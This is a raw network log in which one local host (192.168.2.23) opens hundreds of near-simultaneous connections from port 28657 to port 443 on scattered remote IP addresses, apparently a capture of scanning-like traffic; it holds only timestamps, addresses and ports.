Dec 28, 2024 20:41:51.105001926 CET	28657	443	192.168.2.23	2.177.120.103
Dec 28, 2024 20:41:51.105001926 CET	28657	443	192.168.2.23	210.76.146.77
Dec 28, 2024 20:41:51.105011940 CET	28657	443	192.168.2.23	37.39.206.252
Dec 28, 2024 20:41:51.105011940 CET	28657	443	192.168.2.23	117.102.19.2
Dec 28, 2024 20:41:51.105016947 CET	28657	443	192.168.2.23	5.134.254.115
Dec 28, 2024 20:41:51.105022907 CET	28657	443	192.168.2.23	178.205.44.224
Dec 28, 2024 20:41:51.105025053 CET	28657	443	192.168.2.23	202.113.122.109
Dec 28, 2024 20:41:51.105026007 CET	28657	443	192.168.2.23	202.54.78.58
Dec 28, 2024 20:41:51.105026007 CET	28657	443	192.168.2.23	210.212.147.136
Dec 28, 2024 20:41:51.105026960 CET	28657	443	192.168.2.23	42.127.57.217
Dec 28, 2024 20:41:51.105026960 CET	28657	443	192.168.2.23	42.22.181.140
Dec 28, 2024 20:41:51.105027914 CET	28657	443	192.168.2.23	212.77.75.199
Dec 28, 2024 20:41:51.105030060 CET	28657	443	192.168.2.23	79.219.126.159
Dec 28, 2024 20:41:51.105030060 CET	28657	443	192.168.2.23	117.165.162.61
Dec 28, 2024 20:41:51.105030060 CET	28657	443	192.168.2.23	117.232.172.63
Dec 28, 2024 20:41:51.105030060 CET	28657	443	192.168.2.23	178.179.156.18
Dec 28, 2024 20:41:51.105030060 CET	28657	443	192.168.2.23	123.133.148.152
Dec 28, 2024 20:41:51.105036020 CET	28657	443	192.168.2.23	109.91.66.35
Dec 28, 2024 20:41:51.105036974 CET	28657	443	192.168.2.23	210.136.230.133
Dec 28, 2024 20:41:51.105036020 CET	28657	443	192.168.2.23	79.42.130.86
Dec 28, 2024 20:41:51.105036974 CET	28657	443	192.168.2.23	123.203.223.128
Dec 28, 2024 20:41:51.105045080 CET	28657	443	192.168.2.23	118.1.8.157
Dec 28, 2024 20:41:51.105045080 CET	28657	443	192.168.2.23	117.102.3.13
Dec 28, 2024 20:41:51.105045080 CET	28657	443	192.168.2.23	79.57.24.70
Dec 28, 2024 20:41:51.105045080 CET	28657	443	192.168.2.23	37.250.158.16
Dec 28, 2024 20:41:51.105045080 CET	28657	443	192.168.2.23	37.184.154.200
Dec 28, 2024 20:41:51.105046034 CET	28657	443	192.168.2.23	94.125.90.166
Dec 28, 2024 20:41:51.105046034 CET	28657	443	192.168.2.23	118.202.196.233
Dec 28, 2024 20:41:51.105056047 CET	28657	443	192.168.2.23	117.203.30.192
Dec 28, 2024 20:41:51.105056047 CET	28657	443	192.168.2.23	2.181.112.110
Dec 28, 2024 20:41:51.105056047 CET	28657	443	192.168.2.23	123.68.175.155
Dec 28, 2024 20:41:51.105058908 CET	28657	443	192.168.2.23	118.201.204.136
Dec 28, 2024 20:41:51.105072021 CET	28657	443	192.168.2.23	212.53.18.248
Dec 28, 2024 20:41:51.105072021 CET	28657	443	192.168.2.23	178.13.11.244
Dec 28, 2024 20:41:51.105072021 CET	28657	443	192.168.2.23	5.147.89.88
Dec 28, 2024 20:41:51.105072975 CET	28657	443	192.168.2.23	123.118.193.99
Dec 28, 2024 20:41:51.105073929 CET	28657	443	192.168.2.23	2.84.198.166
Dec 28, 2024 20:41:51.105074883 CET	28657	443	192.168.2.23	37.202.196.14
Dec 28, 2024 20:41:51.105082989 CET	28657	443	192.168.2.23	212.238.224.133
Dec 28, 2024 20:41:51.105082989 CET	28657	443	192.168.2.23	109.156.218.38
Dec 28, 2024 20:41:51.105082989 CET	28657	443	192.168.2.23	94.128.10.202
Dec 28, 2024 20:41:51.105082989 CET	28657	443	192.168.2.23	148.0.155.171
Dec 28, 2024 20:41:51.105091095 CET	28657	443	192.168.2.23	109.48.165.251
Dec 28, 2024 20:41:51.105091095 CET	28657	443	192.168.2.23	123.129.189.206
Dec 28, 2024 20:41:51.105092049 CET	28657	443	192.168.2.23	2.240.17.156
Dec 28, 2024 20:41:51.105094910 CET	28657	443	192.168.2.23	123.115.139.46
Dec 28, 2024 20:41:51.105096102 CET	28657	443	192.168.2.23	212.244.69.177
Dec 28, 2024 20:41:51.105096102 CET	28657	443	192.168.2.23	178.8.40.95
Dec 28, 2024 20:41:51.105098963 CET	28657	443	192.168.2.23	202.93.105.102
Dec 28, 2024 20:41:51.105097055 CET	28657	443	192.168.2.23	42.22.177.183
Dec 28, 2024 20:41:51.105098963 CET	28657	443	192.168.2.23	117.226.65.77
Dec 28, 2024 20:41:51.105097055 CET	28657	443	192.168.2.23	109.37.24.201
Dec 28, 2024 20:41:51.105097055 CET	28657	443	192.168.2.23	2.122.233.181
Dec 28, 2024 20:41:51.105098963 CET	28657	443	192.168.2.23	178.201.46.59
Dec 28, 2024 20:41:51.105103016 CET	28657	443	192.168.2.23	109.76.160.105
Dec 28, 2024 20:41:51.105103016 CET	28657	443	192.168.2.23	94.213.39.174
Dec 28, 2024 20:41:51.105107069 CET	28657	443	192.168.2.23	212.50.47.172
Dec 28, 2024 20:41:51.105107069 CET	28657	443	192.168.2.23	109.223.195.65
Dec 28, 2024 20:41:51.105108976 CET	28657	443	192.168.2.23	94.171.238.158
Dec 28, 2024 20:41:51.105108976 CET	28657	443	192.168.2.23	117.73.166.71
Dec 28, 2024 20:41:51.105113983 CET	28657	443	192.168.2.23	2.141.26.250
Dec 28, 2024 20:41:51.105114937 CET	28657	443	192.168.2.23	94.37.233.105
Dec 28, 2024 20:41:51.105119944 CET	28657	443	192.168.2.23	109.85.221.62
Dec 28, 2024 20:41:51.105123043 CET	28657	443	192.168.2.23	42.150.143.121
Dec 28, 2024 20:41:51.105123043 CET	28657	443	192.168.2.23	148.34.73.40
Dec 28, 2024 20:41:51.105123043 CET	28657	443	192.168.2.23	178.23.188.7
Dec 28, 2024 20:41:51.105138063 CET	28657	443	192.168.2.23	5.42.119.203
Dec 28, 2024 20:41:51.105138063 CET	28657	443	192.168.2.23	2.138.30.153
Dec 28, 2024 20:41:51.105138063 CET	28657	443	192.168.2.23	123.97.117.168
Dec 28, 2024 20:41:51.105142117 CET	28657	443	192.168.2.23	178.211.247.5
Dec 28, 2024 20:41:51.105144024 CET	28657	443	192.168.2.23	5.227.101.232
Dec 28, 2024 20:41:51.105143070 CET	28657	443	192.168.2.23	202.172.184.118
Dec 28, 2024 20:41:51.105144024 CET	28657	443	192.168.2.23	42.232.84.128
Dec 28, 2024 20:41:51.105145931 CET	28657	443	192.168.2.23	79.15.176.34
Dec 28, 2024 20:41:51.105156898 CET	28657	443	192.168.2.23	210.88.169.69
Dec 28, 2024 20:41:51.105159044 CET	28657	443	192.168.2.23	5.83.181.236
Dec 28, 2024 20:41:51.105159044 CET	28657	443	192.168.2.23	37.181.37.189
Dec 28, 2024 20:41:51.105159044 CET	28657	443	192.168.2.23	79.100.138.235
Dec 28, 2024 20:41:51.105159044 CET	28657	443	192.168.2.23	118.221.212.22
Dec 28, 2024 20:41:51.105165005 CET	28657	443	192.168.2.23	109.153.186.177
Dec 28, 2024 20:41:51.105165958 CET	28657	443	192.168.2.23	118.58.81.161
Dec 28, 2024 20:41:51.105165958 CET	28657	443	192.168.2.23	42.52.194.4
Dec 28, 2024 20:41:51.105166912 CET	28657	443	192.168.2.23	117.179.194.193
Dec 28, 2024 20:41:51.105171919 CET	28657	443	192.168.2.23	202.168.58.205
Dec 28, 2024 20:41:51.105175972 CET	28657	443	192.168.2.23	123.62.34.149
Dec 28, 2024 20:41:51.105175972 CET	28657	443	192.168.2.23	202.218.96.232
Dec 28, 2024 20:41:51.105175972 CET	28657	443	192.168.2.23	79.171.212.72
Dec 28, 2024 20:41:51.105178118 CET	28657	443	192.168.2.23	148.162.89.161
Dec 28, 2024 20:41:51.105179071 CET	28657	443	192.168.2.23	79.161.156.72
Dec 28, 2024 20:41:51.105179071 CET	28657	443	192.168.2.23	79.21.137.251
Dec 28, 2024 20:41:51.105189085 CET	28657	443	192.168.2.23	2.48.214.166
Dec 28, 2024 20:41:51.105197906 CET	28657	443	192.168.2.23	2.49.245.221
Dec 28, 2024 20:41:51.105197906 CET	28657	443	192.168.2.23	42.132.223.116
Dec 28, 2024 20:41:51.105206966 CET	28657	443	192.168.2.23	210.230.104.58
Dec 28, 2024 20:41:51.105210066 CET	28657	443	192.168.2.23	2.86.31.73
Dec 28, 2024 20:41:51.105218887 CET	28657	443	192.168.2.23	118.71.78.117
Dec 28, 2024 20:41:51.105220079 CET	28657	443	192.168.2.23	94.103.204.41
Dec 28, 2024 20:41:51.105218887 CET	28657	443	192.168.2.23	79.178.139.93
Dec 28, 2024 20:41:51.105220079 CET	28657	443	192.168.2.23	178.76.0.101
Dec 28, 2024 20:41:51.105218887 CET	28657	443	192.168.2.23	117.189.121.114
Dec 28, 2024 20:41:51.105220079 CET	28657	443	192.168.2.23	212.220.160.92
Dec 28, 2024 20:41:51.105218887 CET	28657	443	192.168.2.23	2.161.147.189
Dec 28, 2024 20:41:51.105218887 CET	28657	443	192.168.2.23	79.143.48.74
Dec 28, 2024 20:41:51.105226040 CET	28657	443	192.168.2.23	42.9.181.96
Dec 28, 2024 20:41:51.105226040 CET	28657	443	192.168.2.23	202.112.148.33
Dec 28, 2024 20:41:51.105226040 CET	28657	443	192.168.2.23	118.192.244.157
Dec 28, 2024 20:41:51.105226994 CET	28657	443	192.168.2.23	2.179.95.126
Dec 28, 2024 20:41:51.105226994 CET	28657	443	192.168.2.23	210.136.107.193
Dec 28, 2024 20:41:51.105226994 CET	28657	443	192.168.2.23	5.137.214.19
Dec 28, 2024 20:41:51.105226994 CET	28657	443	192.168.2.23	42.113.231.157
Dec 28, 2024 20:41:51.105227947 CET	28657	443	192.168.2.23	5.143.128.85
Dec 28, 2024 20:41:51.105228901 CET	28657	443	192.168.2.23	37.134.51.233
Dec 28, 2024 20:41:51.105228901 CET	28657	443	192.168.2.23	148.251.48.171
Dec 28, 2024 20:41:51.105226994 CET	28657	443	192.168.2.23	178.98.18.14
Dec 28, 2024 20:41:51.105231047 CET	28657	443	192.168.2.23	42.66.90.73
Dec 28, 2024 20:41:51.105240107 CET	28657	443	192.168.2.23	118.83.178.182
Dec 28, 2024 20:41:51.105243921 CET	28657	443	192.168.2.23	5.204.49.160
Dec 28, 2024 20:41:51.105243921 CET	28657	443	192.168.2.23	37.19.245.78
Dec 28, 2024 20:41:51.105243921 CET	28657	443	192.168.2.23	148.245.37.183
Dec 28, 2024 20:41:51.105248928 CET	28657	443	192.168.2.23	123.151.252.83
Dec 28, 2024 20:41:51.105249882 CET	28657	443	192.168.2.23	178.11.69.52
Dec 28, 2024 20:41:51.105254889 CET	28657	443	192.168.2.23	123.190.22.14
Dec 28, 2024 20:41:51.105254889 CET	28657	443	192.168.2.23	2.133.170.114
Dec 28, 2024 20:41:51.105259895 CET	28657	443	192.168.2.23	42.229.199.53
Dec 28, 2024 20:41:51.105259895 CET	28657	443	192.168.2.23	37.13.77.112
Dec 28, 2024 20:41:51.105264902 CET	28657	443	192.168.2.23	2.186.167.31
Dec 28, 2024 20:41:51.105264902 CET	28657	443	192.168.2.23	2.91.101.214
Dec 28, 2024 20:41:51.105267048 CET	28657	443	192.168.2.23	123.253.57.126
Dec 28, 2024 20:41:51.105267048 CET	28657	443	192.168.2.23	94.223.129.76
Dec 28, 2024 20:41:51.105274916 CET	28657	443	192.168.2.23	79.205.216.25
Dec 28, 2024 20:41:51.105274916 CET	28657	443	192.168.2.23	123.15.245.186
Dec 28, 2024 20:41:51.105274916 CET	28657	443	192.168.2.23	123.67.155.4
Dec 28, 2024 20:41:51.105278015 CET	28657	443	192.168.2.23	202.0.117.233
Dec 28, 2024 20:41:51.105288982 CET	28657	443	192.168.2.23	148.124.167.130
Dec 28, 2024 20:41:51.105290890 CET	28657	443	192.168.2.23	79.24.145.245
Dec 28, 2024 20:41:51.105288982 CET	28657	443	192.168.2.23	79.36.143.70
Dec 28, 2024 20:41:51.105290890 CET	28657	443	192.168.2.23	178.119.100.182
Dec 28, 2024 20:41:51.105289936 CET	28657	443	192.168.2.23	123.183.247.123
Dec 28, 2024 20:41:51.105288982 CET	28657	443	192.168.2.23	79.51.63.33
Dec 28, 2024 20:41:51.105293036 CET	28657	443	192.168.2.23	123.162.71.162
Dec 28, 2024 20:41:51.105293989 CET	28657	443	192.168.2.23	123.217.109.151
Dec 28, 2024 20:41:51.105298042 CET	28657	443	192.168.2.23	178.211.3.191
Dec 28, 2024 20:41:51.105298996 CET	28657	443	192.168.2.23	212.71.206.194
Dec 28, 2024 20:41:51.105319977 CET	28657	443	192.168.2.23	2.153.40.184
Dec 28, 2024 20:41:51.105320930 CET	28657	443	192.168.2.23	178.218.215.99
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	123.7.10.75
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	109.46.211.222
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	5.95.118.186
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	109.206.139.207
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	2.82.222.217
Dec 28, 2024 20:41:51.105324030 CET	28657	443	192.168.2.23	118.29.171.207
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	94.18.166.219
Dec 28, 2024 20:41:51.105324030 CET	28657	443	192.168.2.23	37.12.223.229
Dec 28, 2024 20:41:51.105328083 CET	28657	443	192.168.2.23	118.63.98.51
Dec 28, 2024 20:41:51.105328083 CET	28657	443	192.168.2.23	37.155.42.46
Dec 28, 2024 20:41:51.105321884 CET	28657	443	192.168.2.23	123.69.83.14
Dec 28, 2024 20:41:51.105320930 CET	28657	443	192.168.2.23	148.103.157.159
Dec 28, 2024 20:41:51.105341911 CET	28657	443	192.168.2.23	117.159.246.37
Dec 28, 2024 20:41:51.105341911 CET	28657	443	192.168.2.23	117.242.124.209
Dec 28, 2024 20:41:51.105341911 CET	28657	443	192.168.2.23	210.21.212.180
Dec 28, 2024 20:41:51.105341911 CET	28657	443	192.168.2.23	2.75.141.2
Dec 28, 2024 20:41:51.105344057 CET	28657	443	192.168.2.23	37.159.179.62
Dec 28, 2024 20:41:51.105346918 CET	28657	443	192.168.2.23	148.85.219.31
Dec 28, 2024 20:41:51.105356932 CET	28657	443	192.168.2.23	123.26.182.200
Dec 28, 2024 20:41:51.105356932 CET	28657	443	192.168.2.23	118.119.247.48
Dec 28, 2024 20:41:51.105362892 CET	28657	443	192.168.2.23	118.207.152.83
Dec 28, 2024 20:41:51.105362892 CET	28657	443	192.168.2.23	210.13.117.223
Dec 28, 2024 20:41:51.105362892 CET	28657	443	192.168.2.23	37.79.164.136
Dec 28, 2024 20:41:51.105365038 CET	28657	443	192.168.2.23	210.57.254.237
Dec 28, 2024 20:41:51.105365992 CET	28657	443	192.168.2.23	94.26.149.100
Dec 28, 2024 20:41:51.105370045 CET	28657	443	192.168.2.23	94.182.208.217
Dec 28, 2024 20:41:51.105370998 CET	28657	443	192.168.2.23	210.117.245.38
Dec 28, 2024 20:41:51.105370998 CET	28657	443	192.168.2.23	109.241.24.134
Dec 28, 2024 20:41:51.105370998 CET	28657	443	192.168.2.23	94.52.20.214
Dec 28, 2024 20:41:51.105372906 CET	28657	443	192.168.2.23	118.140.118.64
Dec 28, 2024 20:41:51.105372906 CET	28657	443	192.168.2.23	5.91.182.113
Dec 28, 2024 20:41:51.105372906 CET	28657	443	192.168.2.23	118.69.15.22
Dec 28, 2024 20:41:51.105372906 CET	28657	443	192.168.2.23	5.20.232.64
Dec 28, 2024 20:41:51.105372906 CET	28657	443	192.168.2.23	42.169.65.92
Dec 28, 2024 20:41:51.105376959 CET	28657	443	192.168.2.23	118.135.216.12
Dec 28, 2024 20:41:51.105376959 CET	28657	443	192.168.2.23	210.255.58.44
Dec 28, 2024 20:41:51.105376959 CET	28657	443	192.168.2.23	210.208.162.196
Dec 28, 2024 20:41:51.105376959 CET	28657	443	192.168.2.23	212.177.29.18
Dec 28, 2024 20:41:51.105384111 CET	28657	443	192.168.2.23	148.40.148.199
Dec 28, 2024 20:41:51.105384111 CET	28657	443	192.168.2.23	123.37.41.184
Dec 28, 2024 20:41:51.105385065 CET	28657	443	192.168.2.23	123.192.201.101
Dec 28, 2024 20:41:51.105385065 CET	28657	443	192.168.2.23	94.40.132.97
Dec 28, 2024 20:41:51.105389118 CET	28657	443	192.168.2.23	117.219.248.39
Dec 28, 2024 20:41:51.105401993 CET	28657	443	192.168.2.23	148.114.230.215
Dec 28, 2024 20:41:51.105406046 CET	28657	443	192.168.2.23	212.48.3.184
Dec 28, 2024 20:41:51.105406046 CET	28657	443	192.168.2.23	2.155.175.219
Dec 28, 2024 20:41:51.105407953 CET	28657	443	192.168.2.23	79.143.43.184
Dec 28, 2024 20:41:51.105407953 CET	28657	443	192.168.2.23	123.160.173.205
Dec 28, 2024 20:41:51.105407953 CET	28657	443	192.168.2.23	178.174.91.93
Dec 28, 2024 20:41:51.105410099 CET	28657	443	192.168.2.23	202.169.226.224
Dec 28, 2024 20:41:51.105412960 CET	28657	443	192.168.2.23	5.91.123.46
Dec 28, 2024 20:41:51.105413914 CET	28657	443	192.168.2.23	109.175.101.37
Dec 28, 2024 20:41:51.105434895 CET	28657	443	192.168.2.23	2.144.149.60
Dec 28, 2024 20:41:51.105438948 CET	28657	443	192.168.2.23	42.245.213.33
Dec 28, 2024 20:41:51.105438948 CET	28657	443	192.168.2.23	37.177.208.14
Dec 28, 2024 20:41:51.105439901 CET	28657	443	192.168.2.23	109.95.198.217
Dec 28, 2024 20:41:51.105439901 CET	28657	443	192.168.2.23	94.81.33.26
Dec 28, 2024 20:41:51.105439901 CET	28657	443	192.168.2.23	178.114.249.50
Dec 28, 2024 20:41:51.105442047 CET	28657	443	192.168.2.23	148.60.51.221
Dec 28, 2024 20:41:51.105443001 CET	28657	443	192.168.2.23	118.214.195.112
Dec 28, 2024 20:41:51.105443001 CET	28657	443	192.168.2.23	117.182.116.182
Dec 28, 2024 20:41:51.105443001 CET	28657	443	192.168.2.23	202.12.208.230
Dec 28, 2024 20:41:51.105442047 CET	28657	443	192.168.2.23	210.17.98.118
Dec 28, 2024 20:41:51.105448008 CET	28657	443	192.168.2.23	202.191.133.175
Dec 28, 2024 20:41:51.105449915 CET	28657	443	192.168.2.23	2.171.248.93
Dec 28, 2024 20:41:51.105453968 CET	28657	443	192.168.2.23	178.244.127.101
Dec 28, 2024 20:41:51.105463028 CET	28657	443	192.168.2.23	202.192.110.152
Dec 28, 2024 20:41:51.105463028 CET	28657	443	192.168.2.23	37.11.74.18
Dec 28, 2024 20:41:51.105479956 CET	28657	443	192.168.2.23	123.219.106.169
Dec 28, 2024 20:41:51.105479956 CET	28657	443	192.168.2.23	42.119.95.40
Dec 28, 2024 20:41:51.105482101 CET	28657	443	192.168.2.23	94.169.194.16
Dec 28, 2024 20:41:51.105483055 CET	28657	443	192.168.2.23	109.103.255.197
Dec 28, 2024 20:41:51.105483055 CET	28657	443	192.168.2.23	94.183.28.26
Dec 28, 2024 20:41:51.105485916 CET	28657	443	192.168.2.23	212.175.155.196
Dec 28, 2024 20:41:51.105484962 CET	28657	443	192.168.2.23	210.238.197.0
Dec 28, 2024 20:41:51.105485916 CET	28657	443	192.168.2.23	178.179.119.181
Dec 28, 2024 20:41:51.105488062 CET	28657	443	192.168.2.23	37.161.82.83
Dec 28, 2024 20:41:51.105492115 CET	28657	443	192.168.2.23	37.158.48.128
Dec 28, 2024 20:41:51.105493069 CET	28657	443	192.168.2.23	2.181.241.240
Dec 28, 2024 20:41:51.105493069 CET	28657	443	192.168.2.23	2.207.240.223
Dec 28, 2024 20:41:51.105493069 CET	28657	443	192.168.2.23	123.115.35.206
Dec 28, 2024 20:41:51.105499983 CET	28657	443	192.168.2.23	148.61.118.10
Dec 28, 2024 20:41:51.105508089 CET	28657	443	192.168.2.23	109.107.72.192
Dec 28, 2024 20:41:51.105515957 CET	28657	443	192.168.2.23	109.152.43.49
Dec 28, 2024 20:41:51.105515957 CET	28657	443	192.168.2.23	202.170.7.105
Dec 28, 2024 20:41:51.105515957 CET	28657	443	192.168.2.23	148.74.173.246
Dec 28, 2024 20:41:51.105520964 CET	28657	443	192.168.2.23	210.212.10.54
Dec 28, 2024 20:41:51.105521917 CET	28657	443	192.168.2.23	123.219.149.118
Dec 28, 2024 20:41:51.105523109 CET	28657	443	192.168.2.23	202.36.141.106
Dec 28, 2024 20:41:51.105523109 CET	28657	443	192.168.2.23	2.193.237.235
Dec 28, 2024 20:41:51.105536938 CET	28657	443	192.168.2.23	42.86.140.170
Dec 28, 2024 20:41:51.105536938 CET	28657	443	192.168.2.23	118.25.136.152
Dec 28, 2024 20:41:51.105544090 CET	28657	443	192.168.2.23	210.155.71.227
Dec 28, 2024 20:41:51.105545998 CET	28657	443	192.168.2.23	202.44.27.86
Dec 28, 2024 20:41:51.105549097 CET	28657	443	192.168.2.23	109.26.106.71
Dec 28, 2024 20:41:51.105549097 CET	28657	443	192.168.2.23	210.83.25.55
Dec 28, 2024 20:41:51.105551004 CET	28657	443	192.168.2.23	202.203.84.153
Dec 28, 2024 20:41:51.105551004 CET	28657	443	192.168.2.23	109.113.60.5
Dec 28, 2024 20:41:51.105551004 CET	28657	443	192.168.2.23	79.193.154.98
Dec 28, 2024 20:41:51.105552912 CET	28657	443	192.168.2.23	123.118.156.156
Dec 28, 2024 20:41:51.105552912 CET	28657	443	192.168.2.23	79.191.198.6
Dec 28, 2024 20:41:51.105559111 CET	28657	443	192.168.2.23	118.46.107.231
Dec 28, 2024 20:41:51.105560064 CET	28657	443	192.168.2.23	202.122.140.215
Dec 28, 2024 20:41:51.105560064 CET	28657	443	192.168.2.23	2.211.75.106
Dec 28, 2024 20:41:51.105560064 CET	28657	443	192.168.2.23	212.62.183.21
Dec 28, 2024 20:41:51.105566978 CET	28657	443	192.168.2.23	202.198.192.170
Dec 28, 2024 20:41:51.105566978 CET	28657	443	192.168.2.23	109.102.23.147
Dec 28, 2024 20:41:51.105568886 CET	28657	443	192.168.2.23	5.26.49.204
Dec 28, 2024 20:41:51.105571032 CET	28657	443	192.168.2.23	37.253.8.82
Dec 28, 2024 20:41:51.105571032 CET	28657	443	192.168.2.23	148.219.68.96
Dec 28, 2024 20:41:51.105581999 CET	28657	443	192.168.2.23	212.216.40.57
Dec 28, 2024 20:41:51.105582952 CET	28657	443	192.168.2.23	148.27.250.118
Dec 28, 2024 20:41:51.105587006 CET	28657	443	192.168.2.23	5.60.192.239
Dec 28, 2024 20:41:51.105587959 CET	28657	443	192.168.2.23	212.183.30.23
Dec 28, 2024 20:41:51.105592966 CET	28657	443	192.168.2.23	117.147.240.201
Dec 28, 2024 20:41:51.105592966 CET	28657	443	192.168.2.23	42.29.64.246
Dec 28, 2024 20:41:51.105602026 CET	28657	443	192.168.2.23	123.185.250.115
Dec 28, 2024 20:41:51.105602026 CET	28657	443	192.168.2.23	79.222.188.158
Dec 28, 2024 20:41:51.105604887 CET	28657	443	192.168.2.23	178.64.246.49
Dec 28, 2024 20:41:51.105604887 CET	28657	443	192.168.2.23	37.237.82.31
Dec 28, 2024 20:41:51.105611086 CET	28657	443	192.168.2.23	123.100.181.233
Dec 28, 2024 20:41:51.105621099 CET	28657	443	192.168.2.23	117.202.193.196
Dec 28, 2024 20:41:51.105622053 CET	28657	443	192.168.2.23	79.18.179.214
Dec 28, 2024 20:41:51.105622053 CET	28657	443	192.168.2.23	202.145.241.16
Dec 28, 2024 20:41:51.105623960 CET	28657	443	192.168.2.23	109.106.55.241
Dec 28, 2024 20:41:51.105623960 CET	28657	443	192.168.2.23	94.241.196.240
Dec 28, 2024 20:41:51.105628014 CET	28657	443	192.168.2.23	123.46.11.201
Dec 28, 2024 20:41:51.105628967 CET	28657	443	192.168.2.23	5.56.240.98
Dec 28, 2024 20:41:51.105635881 CET	28657	443	192.168.2.23	117.206.232.93
Dec 28, 2024 20:41:51.105643988 CET	28657	443	192.168.2.23	210.73.146.134
Dec 28, 2024 20:41:51.105645895 CET	28657	443	192.168.2.23	123.175.33.139
Dec 28, 2024 20:41:51.105652094 CET	28657	443	192.168.2.23	5.39.237.242
Dec 28, 2024 20:41:51.105653048 CET	28657	443	192.168.2.23	2.248.9.249
Dec 28, 2024 20:41:51.105653048 CET	28657	443	192.168.2.23	118.123.72.62
Dec 28, 2024 20:41:51.105655909 CET	28657	443	192.168.2.23	94.201.45.232
Dec 28, 2024 20:41:51.105657101 CET	28657	443	192.168.2.23	212.119.1.134
Dec 28, 2024 20:41:51.105657101 CET	28657	443	192.168.2.23	109.174.51.99
Dec 28, 2024 20:41:51.105681896 CET	28657	443	192.168.2.23	42.149.224.145
Dec 28, 2024 20:41:51.105681896 CET	28657	443	192.168.2.23	210.162.3.244
Dec 28, 2024 20:41:51.105681896 CET	28657	443	192.168.2.23	148.168.7.207
Dec 28, 2024 20:41:51.105681896 CET	28657	443	192.168.2.23	5.19.214.99
Dec 28, 2024 20:41:51.105683088 CET	28657	443	192.168.2.23	117.147.114.249
Dec 28, 2024 20:41:51.105683088 CET	28657	443	192.168.2.23	210.165.224.95
Dec 28, 2024 20:41:51.105683088 CET	28657	443	192.168.2.23	2.107.70.231
Dec 28, 2024 20:41:51.105683088 CET	28657	443	192.168.2.23	212.8.189.54
Dec 28, 2024 20:41:51.105684996 CET	28657	443	192.168.2.23	123.51.144.36
Dec 28, 2024 20:41:51.105690002 CET	28657	443	192.168.2.23	202.1.28.237
Dec 28, 2024 20:41:51.105690002 CET	28657	443	192.168.2.23	212.105.108.150
Dec 28, 2024 20:41:51.105695009 CET	28657	443	192.168.2.23	109.204.223.44
Dec 28, 2024 20:41:51.105700016 CET	28657	443	192.168.2.23	178.140.194.57
Dec 28, 2024 20:41:51.105700016 CET	28657	443	192.168.2.23	79.153.213.32
Dec 28, 2024 20:41:51.105700016 CET	28657	443	192.168.2.23	123.196.184.184
Dec 28, 2024 20:41:51.105700016 CET	28657	443	192.168.2.23	2.180.35.111
Dec 28, 2024 20:41:51.105700970 CET	28657	443	192.168.2.23	202.147.74.37
Dec 28, 2024 20:41:51.105700970 CET	28657	443	192.168.2.23	42.148.216.17
Dec 28, 2024 20:41:51.105700970 CET	28657	443	192.168.2.23	148.184.13.34
Dec 28, 2024 20:41:51.105704069 CET	28657	443	192.168.2.23	212.198.98.216
Dec 28, 2024 20:41:51.105704069 CET	28657	443	192.168.2.23	202.204.103.4
Dec 28, 2024 20:41:51.105710030 CET	28657	443	192.168.2.23	212.115.120.100
Dec 28, 2024 20:41:51.105710030 CET	28657	443	192.168.2.23	212.63.255.145
Dec 28, 2024 20:41:51.105710983 CET	28657	443	192.168.2.23	109.88.39.109
Dec 28, 2024 20:41:51.105710983 CET	28657	443	192.168.2.23	118.159.247.191
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	212.173.166.97
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	118.14.174.64
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	2.160.34.203
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	210.156.118.182
Dec 28, 2024 20:41:51.105731964 CET	28657	443	192.168.2.23	210.15.134.141
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	118.128.142.100
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	94.165.112.152
Dec 28, 2024 20:41:51.105732918 CET	28657	443	192.168.2.23	42.190.61.196
Dec 28, 2024 20:41:51.105751038 CET	28657	443	192.168.2.23	79.99.155.166
Dec 28, 2024 20:41:51.105751038 CET	28657	443	192.168.2.23	202.171.173.250
Dec 28, 2024 20:41:51.105751991 CET	28657	443	192.168.2.23	148.57.193.51
Dec 28, 2024 20:41:51.105767965 CET	28657	443	192.168.2.23	210.63.101.7
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	118.66.50.116
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	5.192.165.51
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	123.126.242.54
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	148.106.248.218
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	118.174.116.224
Dec 28, 2024 20:41:51.105770111 CET	28657	443	192.168.2.23	109.248.62.85
Dec 28, 2024 20:41:51.105772972 CET	28657	443	192.168.2.23	210.101.227.252
Dec 28, 2024 20:41:51.105772972 CET	28657	443	192.168.2.23	117.190.79.91
Dec 28, 2024 20:41:51.105782986 CET	28657	443	192.168.2.23	148.247.151.4
Dec 28, 2024 20:41:51.105786085 CET	28657	443	192.168.2.23	42.200.178.215
Dec 28, 2024 20:41:51.105786085 CET	28657	443	192.168.2.23	123.132.87.63
Dec 28, 2024 20:41:51.105786085 CET	28657	443	192.168.2.23	5.159.240.37
Dec 28, 2024 20:41:51.105789900 CET	28657	443	192.168.2.23	202.134.202.165
Dec 28, 2024 20:41:51.105789900 CET	28657	443	192.168.2.23	42.65.172.224
Dec 28, 2024 20:41:51.105789900 CET	28657	443	192.168.2.23	79.123.195.137
Dec 28, 2024 20:41:51.105789900 CET	28657	443	192.168.2.23	123.111.254.204
Dec 28, 2024 20:41:51.105792999 CET	28657	443	192.168.2.23	109.74.94.81
Dec 28, 2024 20:41:51.105792999 CET	28657	443	192.168.2.23	42.226.33.47
Dec 28, 2024 20:41:51.105792999 CET	28657	443	192.168.2.23	5.69.137.65
Dec 28, 2024 20:41:51.105792999 CET	28657	443	192.168.2.23	42.130.80.186
Dec 28, 2024 20:41:51.105797052 CET	28657	443	192.168.2.23	123.104.180.109
